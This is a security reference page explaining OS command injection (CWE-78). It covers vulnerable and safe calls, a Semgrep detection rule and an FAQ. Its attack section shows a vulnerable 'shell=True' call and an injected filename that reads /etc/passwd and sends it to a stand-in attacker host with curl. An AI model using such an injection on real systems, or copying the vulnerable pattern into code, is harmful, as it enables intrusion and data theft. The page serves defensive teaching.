CWE-78 · Critical · OWASP A03:2021

CWE-78: OS Command Injection

CWE-78 is Improper Neutralization of Special Elements used in an OS Command — commonly called OS Command Injection or shell injection. It is one of the most dangerous vulnerability classes: exploitation can grant an attacker arbitrary command execution on the server.

Definition

CWE-78 occurs when an application constructs an OS command that includes user-controlled input without adequately separating the command from data. When the shell interprets the combined string, an attacker can inject additional commands using metacharacters such as ;, &&, |, $(), and backticks.

The official CWE entry is maintained by MITRE at cwe.mitre.org/data/definitions/78.html.

Vulnerable vs secure patterns

Risky patternSafe patternWhy
subprocess.run(cmd, shell=True)subprocess.run(["cmd", arg], shell=False)Argument list bypasses shell interpretation
os.system("ls " + user_input)subprocess.run(["ls", user_input])No shell string concatenation
exec(`convert ${input}`)execFile("convert", [input])execFile never invokes a shell
system("ls " + user_input)execv("/bin/ls", args)execv bypasses shell entirely

How to detect CWE-78

Semgrep rule for Python subprocess command injection:

rules:
  - id: subprocess-shell-true
    patterns:
      - pattern: subprocess.$FUNC(..., shell=True, ...)
      - pattern-not: subprocess.$FUNC([...], shell=True, ...)
    message: User input may reach subprocess with shell=True (CWE-78)
    severity: ERROR
    languages: [python]

Browse available rules at semgrep.dev/r?q=command-injection.

How attackers exploit CWE-78

An attacker sends a crafted input that contains shell metacharacters. For example, if a web application passes a filename parameter directly to a shell command:

# Vulnerable application passes filename to shell
subprocess.run(f"convert {filename} output.pdf", shell=True)

# Attacker sends: filename = "x.pdf; curl attacker.com/exfil?d=$(cat /etc/passwd)"
# Shell executes: convert x.pdf; curl attacker.com/exfil?d=$(cat /etc/passwd) output.pdf

Related CWEs

References

FAQ

What is CWE-78?

CWE-78 is Improper Neutralization of Special Elements used in an OS Command. It is the official CWE identifier for OS Command Injection vulnerabilities.

How dangerous is CWE-78?

Critical. Successful exploitation grants arbitrary OS command execution with application-level privileges, enabling data theft, reverse shells, and lateral movement.

What is the CVSS base score for CWE-78?

CVSS scores vary by instance, but CWE-78 vulnerabilities are typically scored 9.8 (Critical) when the attack requires no authentication and exploits network-accessible input.

How do you fix CWE-78?

Avoid shell=True in Python, use execFile instead of exec in Node.js, use execv instead of system() in C, and never build shell command strings from user-controlled data. Validate user input against an allowlist.

Can Semgrep detect CWE-78?

Yes. Semgrep rules can trace taint flows from HTTP parameters to subprocess.run(shell=True), os.system(), exec(), and system(). See semgrep.dev for available rules.

What is the difference between CWE-77 and CWE-78?

CWE-77 is command injection in any command language. CWE-78 is specifically OS Command Injection — the command string is passed to the operating system shell.

Comprehensive command injection guide

For language-specific examples across Python, C, Node.js, and Go — plus real-world case studies from Orbis AppSec — see the full command injection hub.